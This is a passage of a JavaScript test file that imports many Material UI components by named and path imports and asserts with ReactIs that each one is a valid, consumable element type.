'@mui/material';\nimport TableCell_core__pathImport from '@mui/material/TableCell';\nimport { TableContainer as TableContainer_core } from '@mui/material';\nimport TableContainer_core__pathImport from '@mui/material/TableContainer';\nimport { TableFooter as TableFooter_core } from '@mui/material';\nimport TableFooter_core__pathImport from '@mui/material/TableFooter';\nimport { TableHead as TableHead_core } from '@mui/material';\nimport TableHead_core__pathImport from '@mui/material/TableHead';\nimport { TablePagination as TablePagination_core } from '@mui/material';\nimport TablePagination_core__pathImport from '@mui/material/TablePagination';\nimport { TableRow as TableRow_core } from '@mui/material';\nimport TableRow_core__pathImport from '@mui/material/TableRow';\nimport { TableSortLabel as TableSortLabel_core } from '@mui/material';\nimport TableSortLabel_core__pathImport from '@mui/material/TableSortLabel';\nimport { Tabs as Tabs_core } from '@mui/material';\nimport Tabs_core__pathImport from '@mui/material/Tabs';\nimport { TabScrollButton as TabScrollButton_core } from '@mui/material';\nimport TabScrollButton_core__pathImport from '@mui/material/TabScrollButton';\nimport { TextareaAutosize as TextareaAutosize_core } from '@mui/material';\nimport TextareaAutosize_core__pathImport from '@mui/material/TextareaAutosize';\nimport { TextField as TextField_core } from '@mui/material';\nimport TextField_core__pathImport from '@mui/material/TextField';\nimport { ToggleButton as ToggleButton_core } from '@mui/material';\nimport ToggleButton_core__pathImport from '@mui/material/ToggleButton';\nimport { ToggleButtonGroup as ToggleButtonGroup_core } from '@mui/material';\nimport ToggleButtonGroup_core__pathImport from '@mui/material/ToggleButtonGroup';\nimport { Toolbar as Toolbar_core } from '@mui/material';\nimport Toolbar_core__pathImport from '@mui/material/Toolbar';\nimport { Tooltip as Tooltip_core } from '@mui/material';\nimport Tooltip_core__pathImport from '@mui/material/Tooltip';\nimport { Typography as Typography_core } from '@mui/material';\nimport Typography_core__pathImport from '@mui/material/Typography';\nimport { Unstable_TrapFocus as Unstable_TrapFocus_core } from '@mui/material';\nimport Unstable_TrapFocus_core__pathImport from '@mui/material/Unstable_TrapFocus';\nimport { useAutocomplete as useAutocomplete_core } from '@mui/material';\nimport useAutocomplete_core__pathImport from '@mui/material/useAutocomplete';\nimport { useMediaQuery as useMediaQuery_core } from '@mui/material';\nimport useMediaQuery_core__pathImport from '@mui/material/useMediaQuery';\nimport { usePagination as usePagination_core } from '@mui/material';\nimport usePagination_core__pathImport from '@mui/material/usePagination';\nimport { useScrollTrigger as useScrollTrigger_core } from '@mui/material';\nimport useScrollTrigger_core__pathImport from '@mui/material/useScrollTrigger';\nimport * as utils_core__pathImport from '@mui/material/utils';\nimport { Zoom as Zoom_core } from '@mui/material';\nimport Zoom_core__pathImport from '@mui/material/Zoom';\nimport { Accessibility as Accessibility_icons } from '@mui/icons-material';\nimport Accessibility_icons__pathImport from '@mui/icons-material/Accessibility';\nimport { LoadingButton as LoadingButton_lab } from '@mui/lab';\nimport LoadingButton_lab__pathImport from '@mui/lab/LoadingButton';\nimport { TabContext as TabContext_lab } from '@mui/lab';\nimport TabContext_lab__pathImport from '@mui/lab/TabContext';\nimport { TabList as TabList_lab } from '@mui/lab';\nimport TabList_lab__pathImport from '@mui/lab/TabList';\nimport { TabPanel as TabPanel_lab } from '@mui/lab';\nimport TabPanel_lab__pathImport from '@mui/lab/TabPanel';\nimport { Timeline as Timeline_lab } from '@mui/lab';\nimport Timeline_lab__pathImport from '@mui/lab/Timeline';\nimport { TimelineConnector as TimelineConnector_lab } from '@mui/lab';\nimport TimelineConnector_lab__pathImport from '@mui/lab/TimelineConnector';\nimport { TimelineContent as TimelineContent_lab } from '@mui/lab';\nimport TimelineContent_lab__pathImport from '@mui/lab/TimelineContent';\nimport { TimelineDot as TimelineDot_lab } from '@mui/lab';\nimport TimelineDot_lab__pathImport from '@mui/lab/TimelineDot';\nimport { TimelineItem as TimelineItem_lab } from '@mui/lab';\nimport TimelineItem_lab__pathImport from '@mui/lab/TimelineItem';\nimport { TimelineOppositeContent as TimelineOppositeContent_lab } from '@mui/lab';\nimport TimelineOppositeContent_lab__pathImport from '@mui/lab/TimelineOppositeContent';\nimport { TimelineSeparator as TimelineSeparator_lab } from '@mui/lab';\nimport TimelineSeparator_lab__pathImport from '@mui/lab/TimelineSeparator';\nimport { TreeItem as TreeItem_lab } from '@mui/lab';\nimport TreeItem_lab__pathImport from '@mui/lab/TreeItem';\nimport { TreeView as TreeView_lab } from '@mui/lab';\nimport TreeView_lab__pathImport from '@mui/lab/TreeView';\nimport { useAutocomplete as useAutocomplete_lab } from '@mui/lab';\nimport useAutocomplete_lab__pathImport from '@mui/lab/useAutocomplete';\nimport { borders as borders_system } from '@mui/system';\nimport { breakpoints as breakpoints_system } from '@mui/system';\nimport { compose as compose_system } from '@mui/system';\nimport { display as display_system } from '@mui/system';\nimport { flexbox as flexbox_system } from '@mui/system';\nimport { grid as grid_system } from '@mui/system';\nimport { palette as palette_system } from '@mui/system';\nimport { positions as positions_system } from '@mui/system';\nimport { shadows as shadows_system } from '@mui/system';\nimport { sizing as sizing_system } from '@mui/system';\nimport { spacing as spacing_system } from '@mui/system';\nimport { style as style_system } from '@mui/system';\nimport { typography as typography_system } from '@mui/system';\nimport { chainPropTypes as chainPropTypes_utils } from '@mui/utils';\nimport { deepmerge as deepmerge_utils } from '@mui/utils';\nimport { elementAcceptingRef as elementAcceptingRef_utils } from '@mui/utils';\nimport { elementTypeAcceptingRef as elementTypeAcceptingRef_utils } from '@mui/utils';\nimport { exactProp as exactProp_utils } from '@mui/utils';\nimport { formatMuiErrorMessage as formatMuiErrorMessage_utils } from '@mui/utils';\nimport { getDisplayName as getDisplayName_utils } from '@mui/utils';\nimport { HTMLElementType as HTMLElementType_utils } from '@mui/utils';\nimport { ponyfillGlobal as ponyfillGlobal_utils } from '@mui/utils';\nimport { refType as refType_utils } from '@mui/utils';\n/* eslint-enable import/no-duplicates */\n// #endregion\n\n// #region usage\n\n/* eslint-disable no-console */\nconsole.assert(\n  ReactIs.isValidElementType(Accordion_core),\n  'Accordion named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Accordion_core__pathImport),\n  'Accordion path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(AccordionActions_core),\n  'AccordionActions named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(AccordionActions_core__pathImport),\n  'AccordionActions path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(AccordionDetails_core),\n  'AccordionDetails named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(AccordionDetails_core__pathImport),\n  'AccordionDetails path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(AccordionSummary_core),\n  'AccordionSummary named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(AccordionSummary_core__pathImport),\n  'AccordionSummary path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Alert_core), 'Alert named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Alert_core__pathImport),\n  'Alert path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(AlertTitle_core),\n  'AlertTitle named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(AlertTitle_core__pathImport),\n  'AlertTitle path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(AppBar_core), 'AppBar named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(AppBar_core__pathImport),\n  'AppBar path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Autocomplete_core),\n  'Autocomplete named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Autocomplete_core__pathImport),\n  'Autocomplete path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Avatar_core), 'Avatar named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Avatar_core__pathImport),\n  'Avatar path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Backdrop_core),\n  'Backdrop named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Backdrop_core__pathImport),\n  'Backdrop path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Badge_core), 'Badge named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Badge_core__pathImport),\n  'Badge path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(BottomNavigation_core),\n  'BottomNavigation named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(BottomNavigation_core__pathImport),\n  'BottomNavigation path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(BottomNavigationAction_core),\n  'BottomNavigationAction named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(BottomNavigationAction_core__pathImport),\n  'BottomNavigationAction path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Box_core), 'Box named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Box_core__pathImport),\n  'Box path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Breadcrumbs_core),\n  'Breadcrumbs named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Breadcrumbs_core__pathImport),\n  'Breadcrumbs path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Button_core), 'Button named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Button_core__pathImport),\n  'Button path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ButtonBase_core),\n  'ButtonBase named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ButtonBase_core__pathImport),\n  'ButtonBase path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ButtonGroup_core),\n  'ButtonGroup named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ButtonGroup_core__pathImport),\n  'ButtonGroup path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Card_core), 'Card named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Card_core__pathImport),\n  'Card path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(CardActionArea_core),\n  'CardActionArea named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(CardActionArea_core__pathImport),\n  'CardActionArea path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(CardActions_core),\n  'CardActions named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(CardActions_core__pathImport),\n  'CardActions path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(CardContent_core),\n  'CardContent named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(CardContent_core__pathImport),\n  'CardContent path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(CardHeader_core),\n  'CardHeader named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(CardHeader_core__pathImport),\n  'CardHeader path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(CardMedia_core),\n  'CardMedia named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(CardMedia_core__pathImport),\n  'CardMedia path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Checkbox_core),\n  'Checkbox named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Checkbox_core__pathImport),\n  'Checkbox path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Chip_core), 'Chip named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Chip_core__pathImport),\n  'Chip path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(CircularProgress_core),\n  'CircularProgress named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(CircularProgress_core__pathImport),\n  'CircularProgress path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ClickAwayListener_core),\n  'ClickAwayListener named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ClickAwayListener_core__pathImport),\n  'ClickAwayListener path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Collapse_core),\n  'Collapse named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Collapse_core__pathImport),\n  'Collapse path import is not consumable.',\n);\nconsole.assert(\n  colors_core__pathImport !== null && typeof colors_core__pathImport === 'object',\n  'colors path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Container_core),\n  'Container named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Container_core__pathImport),\n  'Container path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(CssBaseline_core),\n  'CssBaseline named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(CssBaseline_core__pathImport),\n  'CssBaseline path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Dialog_core), 'Dialog named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Dialog_core__pathImport),\n  'Dialog path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(DialogActions_core),\n  'DialogActions named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(DialogActions_core__pathImport),\n  'DialogActions path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(DialogContent_core),\n  'DialogContent named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(DialogContent_core__pathImport),\n  'DialogContent path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(DialogContentText_core),\n  'DialogContentText named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(DialogContentText_core__pathImport),\n  'DialogContentText path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(DialogTitle_core),\n  'DialogTitle named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(DialogTitle_core__pathImport),\n  'DialogTitle path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Divider_core), 'Divider named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Divider_core__pathImport),\n  'Divider path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Drawer_core), 'Drawer named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Drawer_core__pathImport),\n  'Drawer path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Fab_core), 'Fab named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Fab_core__pathImport),\n  'Fab path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Fade_core), 'Fade named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Fade_core__pathImport),\n  'Fade path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(FilledInput_core),\n  'FilledInput named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(FilledInput_core__pathImport),\n  'FilledInput path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(FormControl_core),\n  'FormControl named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(FormControl_core__pathImport),\n  'FormControl path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(FormControlLabel_core),\n  'FormControlLabel named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(FormControlLabel_core__pathImport),\n  'FormControlLabel path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(FormGroup_core),\n  'FormGroup named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(FormGroup_core__pathImport),\n  'FormGroup path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(FormHelperText_core),\n  'FormHelperText named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(FormHelperText_core__pathImport),\n  'FormHelperText path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(FormLabel_core),\n  'FormLabel named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(FormLabel_core__pathImport),\n  'FormLabel path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Grow_core), 'Grow named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Grow_core__pathImport),\n  'Grow path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Icon_core), 'Icon named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Icon_core__pathImport),\n  'Icon path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(IconButton_core),\n  'IconButton named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(IconButton_core__pathImport),\n  'IconButton path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ImageList_core),\n  'ImageList named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ImageList_core__pathImport),\n  'ImageList path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ImageListItem_core),\n  'ImageListItem named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ImageListItem_core__pathImport),\n  'ImageListItem path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ImageListItemBar_core),\n  'ImageListItemBar named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ImageListItemBar_core__pathImport),\n  'ImageListItemBar path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Input_core), 'Input named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Input_core__pathImport),\n  'Input path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(InputAdornment_core),\n  'InputAdornment named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(InputAdornment_core__pathImport),\n  'InputAdornment path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(InputBase_core),\n  'InputBase named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(InputBase_core__pathImport),\n  'InputBase path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(InputLabel_core),\n  'InputLabel named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(InputLabel_core__pathImport),\n  'InputLabel path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(LinearProgress_core),\n  'LinearProgress named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(LinearProgress_core__pathImport),\n  'LinearProgress path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Link_core), 'Link named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Link_core__pathImport),\n  'Link path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(List_core), 'List named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(List_core__pathImport),\n  'List path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ListItem_core),\n  'ListItem named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ListItem_core__pathImport),\n  'ListItem path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ListItemAvatar_core),\n  'ListItemAvatar named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ListItemAvatar_core__pathImport),\n  'ListItemAvatar path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ListItemIcon_core),\n  'ListItemIcon named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ListItemIcon_core__pathImport),\n  'ListItemIcon path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ListItemSecondaryAction_core),\n  'ListItemSecondaryAction named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ListItemSecondaryAction_core__pathImport),\n  'ListItemSecondaryAction path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ListItemText_core),\n  'ListItemText named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ListItemText_core__pathImport),\n  'ListItemText path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ListSubheader_core),\n  'ListSubheader named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ListSubheader_core__pathImport),\n  'ListSubheader path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Menu_core), 'Menu named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Menu_core__pathImport),\n  'Menu path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(MenuItem_core),\n  'MenuItem named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(MenuItem_core__pathImport),\n  'MenuItem path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(MenuList_core),\n  'MenuList named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(MenuList_core__pathImport),\n  'MenuList path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(MobileStepper_core),\n  'MobileStepper named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(MobileStepper_core__pathImport),\n  'MobileStepper path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Modal_core), 'Modal named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Modal_core__pathImport),\n  'Modal path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(NativeSelect_core),\n  'NativeSelect named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(NativeSelect_core__pathImport),\n  'NativeSelect path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(NoSsr_core), 'NoSsr named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(NoSsr_core__pathImport),\n  'NoSsr path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(OutlinedInput_core),\n  'OutlinedInput named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(OutlinedInput_core__pathImport),\n  'OutlinedInput path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Pagination_core),\n  'Pagination named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Pagination_core__pathImport),\n  'Pagination path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(PaginationItem_core),\n  'PaginationItem named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(PaginationItem_core__pathImport),\n  'PaginationItem path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Paper_core), 'Paper named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Paper_core__pathImport),\n  'Paper path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Popover_core), 'Popover named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Popover_core__pathImport),\n  'Popover path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Popper_core), 'Popper named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Popper_core__pathImport),\n  'Popper path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Portal_core), 'Portal named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Portal_core__pathImport),\n  'Portal path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Radio_core), 'Radio named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Radio_core__pathImport),\n  'Radio path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(RadioGroup_core),\n  'RadioGroup named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(RadioGroup_core__pathImport),\n  'RadioGroup path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Rating_core), 'Rating named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Rating_core__pathImport),\n  'Rating path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ScopedCssBaseline_core),\n  'ScopedCssBaseline named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ScopedCssBaseline_core__pathImport),\n  'ScopedCssBaseline path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Select_core), 'Select named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Select_core__pathImport),\n  'Select path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Skeleton_core),\n  'Skeleton named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Skeleton_core__pathImport),\n  'Skeleton path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Slide_core), 'Slide named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Slide_core__pathImport),\n  'Slide path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Slider_core), 'Slider named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Slider_core__pathImport),\n  'Slider path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Snackbar_core),\n  'Snackbar named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Snackbar_core__pathImport),\n  'Snackbar path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(SnackbarContent_core),\n  'SnackbarContent named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(SnackbarContent_core__pathImport),\n  'SnackbarContent path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(SpeedDial_core),\n  'SpeedDial named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(SpeedDial_core__pathImport),\n  'SpeedDial path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(SpeedDialAction_core),\n  'SpeedDialAction named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(SpeedDialAction_core__pathImport),\n  'SpeedDialAction path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(SpeedDialIcon_core),\n  'SpeedDialIcon named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(SpeedDialIcon_core__pathImport),\n  'SpeedDialIcon path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Step_core), 'Step named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Step_core__pathImport),\n  'Step path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(StepButton_core),\n  'StepButton named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(StepButton_core__pathImport),\n  'StepButton path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(StepConnector_core),\n  'StepConnector named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(StepConnector_core__pathImport),\n  'StepConnector path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(StepContent_core),\n  'StepContent named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(StepContent_core__pathImport),\n  'StepContent path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(StepIcon_core),\n  'StepIcon named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(StepIcon_core__pathImport),\n  'StepIcon path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(StepLabel_core),\n  'StepLabel named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(StepLabel_core__pathImport),\n  'StepLabel path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Stepper_core), 'Stepper named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Stepper_core__pathImport),\n  'Stepper path import is not consumable.',\n);\nconsole.assert(\n  styles_core__pathImport !== null && typeof styles_core__pathImport === 'object',\n  'styles path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(SvgIcon_core), 'SvgIcon named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(SvgIcon_core__pathImport),\n  'SvgIcon path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(SwipeableDrawer_core),\n  'SwipeableDrawer named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(SwipeableDrawer_core__pathImport),\n  'SwipeableDrawer path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Switch_core), 'Switch named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Switch_core__pathImport),\n  'Switch path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Tab_core), 'Tab named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Tab_core__pathImport),\n  'Tab path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Table_core), 'Table named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Table_core__pathImport),\n  'Table path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TableBody_core),\n  'TableBody named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TableBody_core__pathImport),\n  'TableBody path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TableCell_core),\n  'TableCell named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TableCell_core__pathImport),\n  'TableCell path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TableContainer_core),\n  'TableContainer named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TableContainer_core__pathImport),\n  'TableContainer path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TableFooter_core),\n  'TableFooter named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TableFooter_core__pathImport),\n  'TableFooter path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TableHead_core),\n  'TableHead named import is not consumable.',\n);\nconsole.assert(\n  